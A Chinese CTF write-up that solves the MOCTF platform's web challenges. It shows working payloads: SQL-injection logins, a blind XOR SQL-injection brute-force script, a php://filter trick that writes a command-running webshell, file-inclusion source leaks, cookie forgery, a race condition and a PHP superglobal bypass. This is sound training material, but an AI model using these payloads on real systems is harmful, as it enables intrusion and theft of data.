0
点赞
收藏
分享

微信扫一扫

Moctf-web题解

Just_Esme 2023-07-27 阅读 6

前记

MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步(滑稽脸,给xishir师傅打call)

抽空做完了web类型的题,于是写了一下题解~由于是训练oj,就没有直接给出flag,233333333,大家可以自己动手尝试,做下来感觉题目难度不大,适合新手入门

给出平台连接: http://ctf.codemonster.cn

Moctf-web题解_xml

签到


Moctf-web题解_php_02

加群就有flag就不说啦

(滑稽脸)xishir师傅弄的oj,打电话打电话!!

Moctf-web题解_xml

一道水题


Moctf-web题解_php_02

f12源代码里就有flag

Moctf-web题解_xml

还是水题


Moctf-web题解_php_02

常规的前端

<input type="password" value="" disabled="disabled" name="password" maxlength="4">

改一下限制就行啦,改成5,输入moctf就有flag

Moctf-web题解_xml

访问限制


Moctf-web题解_php_02

抓包,然后发包

GET /web3/ HTTP/1.1

Host: 119.23.73.3:5001

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: NAIVE text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://ctf.codemonster.cn/challenges

Accept-Language: zh-HK

Connection: close

即可获得flag

Moctf-web题解_xml

机器蛇


Moctf-web题解_php_02

查看robots.txt

发现

user-agent: 

Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php

Disallow: /index.html

访问f12即可拿到flag

Moctf-web题解_xml

PHP黑魔法


Moctf-web题解_php_02

存在文件泄露

view-source:http://119.23.73.3:5001/web5/index.php~

可以得到

php
<?php
$flag="moctf{**************}";
if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if($a==$b) 
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b)) 
{
echo "<center>".$flag."</center>"; 
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}
}
else echo "<center>好像少了点什么</center>"; 
?>

是一个弱比较,即md5的0e开头的比较

访问

http://119.23.73.3:5001/web5/index.php?a=QNKCDZO&b=s878926199a

即可拿到flag

Moctf-web题解_xml

我想要钱


Moctf-web题解_php_02

打开即看到源码

php
<?php
    include "flag.php";
    highlight_file(__FILE__);
    if (isset($_GET['money'])) {
        $money=$_GET['money'];
        if(strlen($money)<=4&&$money>time()&&!is_array($money))
        {
            echo $flag;
            echo "<!--By:daoyuan-->";
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

虽然限制了money≤4,但是可以用科学计数法,即访问

http://119.23.73.3:5001/web6/?money=10e9

即可拿到flag

Moctf-web题解_xml

登录就对了


Moctf-web题解_php_02

一个简单的注入

username=admin'#

password=1

即可登录成功,f12获得flag

Moctf-web题解_xml

Flag在哪?


Moctf-web题解_php_02

一道脑洞题,抓包即可看到302跳转

where is flag!

I have a flag

I have a frog!

ah~ guess where is flag!

There is no flag!

23333典型的PPAP,我们猜测flagfrog.php

但是注意还是得抓包

GET /web7/frogflag.php HTTP/1.1

Host: 119.23.73.3:5001

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8

Connection: close

发送即可得到flag

Moctf-web题解_xml

死亡退出


Moctf-web题解_php_02

打开即可看到源码

php
<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

p牛提过的经典问题

附上p牛的分析

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里的

php

$c="<?php exit;?>";

会使php文件直接退出,不会执行后续代码,所以我们的目的是绕过这句话

而p牛提出了一个很好的方法:利用base64加解码的写入

例如:

c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

我们来分析一下这句话post上去的流程

首先是$c

当c拼接后变成:

<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=

然后经过base64-decode解码写入

这个时候写入后的文件变成了

^ƫZ<?php system('cat flag.php'); ?>

可以看到之前的<?php exit;?>的被解码成未知字符,而php就可以顺利执行后面的代码了

注:为什么c之前要加一个a

因为在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

而phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。

所以最后发包如下即可获得flag

POST / HTTP/1.1
Host: 119.23.73.3:5003
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

Moctf-web题解_xml

文件包含


Moctf-web题解_php_02

基础的文件包含题目

http://119.23.73.3:5001/web8/index.php?file=welcome.txt

我们访问

http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

即可得到

SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==

解码即可得到flag

Moctf-web题解_xml

美味的饼干


Moctf-web题解_php_02

进入后是一个登陆页面

尝试登陆admin,admin

得到cookie

ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D

解base64

ee11cbb19052e40b07aac0ca060c23ee

再解md5

user

此时猜想

我们要让cookie成为admin

于是构造

md5

21232f297a57a5a743894a0e4a801fc3

再base64

MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=

然后更改cookie,刷新,f12,得到flag

Moctf-web题解_xml

火眼金睛


Moctf-web题解_php_02

拿到题目

http://119.23.73.3:5001/web10/

眼睛看花掉,一堆字符串

我们要数里面有多少个moctf

这题应该是考验python的爬取

我们选用正则匹配+python

脚本如下

python
import requests
import re
url = "http://119.23.73.3:5001/web10/index.php"
r = requests.get(url=url)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt =  re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
data = {
    "answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=data,cookies=r.cookies)
print s.content

运行即可得到flag

Moctf-web题解_xml

简单注入


Moctf-web题解_php_02

大家可以先自己做一下再看,这样可能感触比较深:http://119.23.73.3:5004

题目过滤了空格等一堆东西,所以引号闭合比较困难

但是这里可以想到用异或的方法

http://119.23.73.3:5004/?id=1'^'1

回显为空白

http://119.23.73.3:5004/?id=1'^'0

回显为Hello

原因是因为

select * from news where id='$id'

select * from news where id='1'^'1'

select * from news where id='1'^'0'

这样就一目了然了,'1'^'1'显然是查不到数据的,因为id=0

而'1'^'0'是显然为1的,所以既闭合了引号,也得到了注入方式

所以后面容易构造payload

id=2'^'(ascii(mid((select(TABLE_NAME)from(information_schema.TABLES)where(TABLE_SCHEMA=database())limit(0,1)),1,1))=1)

但是问题来了,这个limit 0,1用括号隔开好像不起作用?

我随后又尝试了limit(1)offset(1)但是也没起作用,那么怎么查询多条数据呢?

这里我发现group_concat没过滤,所以就很简单了

直接附上脚本

python
import requests
flag = ""
for i in range(1,300):
    for j in range(33,127):
        # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
        # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
        url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
        r=requests.get(url=url)
        if "Tip" in r.content:
            flag +=chr(j)
            print flag
            break

Moctf-web题解_xml

没时间解释了


Moctf-web题解_php_02

一道条件竞争的题目

首先是存在302跳转需要抓包

抓包得到

May be u need uploadsomething.php

访问

http://119.23.73.3:5006/web2/uploadsomething.php

发现是一个上传类似的页面

随便写一个

http://119.23.73.3:5006/web2/uploadsomething.php?filename=111&content=111

得到

Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/111

尝试多次

http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111

Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag

http://119.23.73.3:5006/web2/uploadsomething.php?filename=sky&content=111

Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/sky

发现文件夹路径是固定的,但是文件名是我们控制的,我们去访问就会得到:

Too slow!

于是想到条件竞争

开Burp的50线程,一个不断发包

http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111

一个不断请求

http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag

一会儿就看到了flag

Moctf-web题解_xml

unset


Moctf-web题解_php_02

源码审计

php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}
?>
看到关键代码
php
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

发现这是Destoon 20140530最新版超全局变量覆盖导致的安全问题

分析如下:

这里的逻辑是 如果post get cookie请求中的$$key和$value相等 就unset掉$$key

如果我们向index.php?x=123提交一个POST请求内容为_GET[x]=123

因为?x=123 

所以$_GET内容为array('x'=>'123')

当开始遍历$_POST的时候$__k是_GET[x]

所以$$__k就是$_GET[x]也就是array('x'=>'123')

$__v是POST上来的一个数组,内容也是array('x'=>'123')

$$__k == $__v成立

所以我们的超全局变量$_GET就被unset了

由于我们的$_GET已经在前面被unset了 所以即使加了EXTR_SKIP extract($_POST)仍然能够正常的初始化$_GET extract($_GET)的值就成功绕过了waf的检查

然后我们就可以构造出2个0e开头的md5,成功文件包含,用php伪协议读取文件了!

我的payload如下

POST /index.php?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: 119.23.73.3:5101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

发送即可得到flag


举报

相关推荐

0 条评论